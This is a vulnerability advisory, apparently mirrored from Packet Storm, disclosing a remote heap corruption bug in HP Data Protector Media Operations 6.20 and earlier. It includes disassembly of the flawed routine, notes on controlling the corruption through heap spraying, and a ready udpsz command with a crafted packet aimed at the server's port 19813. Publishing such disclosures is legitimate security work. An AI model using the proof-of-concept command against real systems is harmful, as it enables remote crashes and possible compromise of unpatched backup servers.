what you don't know can hurt you

HP Data Protector Media Operations 6.20 Heap Corruption

HP Data Protector Media Operations 6.20 Heap Corruption
Posted Nov 4, 2011
Authored by Luigi Auriemma | Site aluigi.org

HP Data Protector Media Operations versions 6.20 and below suffer from a heap corruption vulnerability.

tags | advisory
MD5 | 81d8be9e509e7a2f5ac42af0b7a4b848

HP Data Protector Media Operations 6.20 Heap Corruption

Change Mirror Download
#######################################################################

Luigi Auriemma

Application: HP Data Protector Media Operations
http://www8.hp.com/us/en/software/software-product.html?compURI=tcm:245-936920
Versions: <= 6.20
Platforms: Windows and others
Bug: heap corruption
Exploitation: remote, versus server
Date: 03 Nov 2011 (found 06 Jul 2011)
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's homepage:
"HP data protection software reduces backup and recovery complexity and
cost by protecting virtual and physical applications—whether you have
one server or thousands."


#######################################################################

======
2) Bug
======


Heap overflow/corruption through a big size packet:

0074D210 /$ 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8]
0074D214 |. 8BC1 MOV EAX,ECX
0074D216 |. 56 PUSH ESI
0074D217 |. 57 PUSH EDI
0074D218 |. 8BB8 7C170000 MOV EDI,DWORD PTR DS:[EAX+177C]
0074D21E |. 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778]
0074D224 |. 2BD7 SUB EDX,EDI
0074D226 |. 3BD1 CMP EDX,ECX
0074D228 |. 7F 53 JG SHORT DBServer.0074D27D
0074D22A |. 53 PUSH EBX
0074D22B |. 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10]
0074D22F |. 85DB TEST EBX,EBX
0074D231 |. 74 15 JE SHORT DBServer.0074D248
0074D233 |. 8BCA MOV ECX,EDX
0074D235 |. 03FB ADD EDI,EBX
0074D237 |. 8BD9 MOV EBX,ECX
0074D239 |. 8D70 06 LEA ESI,DWORD PTR DS:[EAX+6]
0074D23C |. C1E9 02 SHR ECX,2
0074D23F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0074D241 |. 8BCB MOV ECX,EBX
0074D243 |. 83E1 03 AND ECX,3
0074D246 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
0074D248 |> 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778]
0074D24E |. 8D7402 06 LEA ESI,DWORD PTR DS:[EDX+EAX+6]
0074D252 |. 2BCA SUB ECX,EDX
0074D254 |. 8D78 06 LEA EDI,DWORD PTR DS:[EAX+6]
0074D257 |. 8988 78170000 MOV DWORD PTR DS:[EAX+1778],ECX
0074D25D |. 8BD1 MOV EDX,ECX
0074D25F |. C1E9 02 SHR ECX,2
0074D262 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
0074D264 |. 8BCA MOV ECX,EDX
0074D266 |. 5B POP EBX
0074D267 |. 83E1 03 AND ECX,3
0074D26A |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
0074D26C |. C780 7C170000 0>MOV DWORD PTR DS:[EAX+177C],0
0074D276 |. 5F POP EDI
0074D277 |. 33C0 XOR EAX,EAX
0074D279 |. 5E POP ESI
0074D27A |. C2 0800 RETN 8

The corruption can be controlled through the tuning of the packet size
and the preceeding heap spray with other valid packets.

Note that this function is used for any size field, included the one
used for example in the packet 0x10 ("01 02 03 04 10 32bit_size").


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip

udpsz -D -T -C 03000001fffff0000102030404 -b a SERVER 19813 65536


#######################################################################

======
4) Fix
======


No fix.


#######################################################################

Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close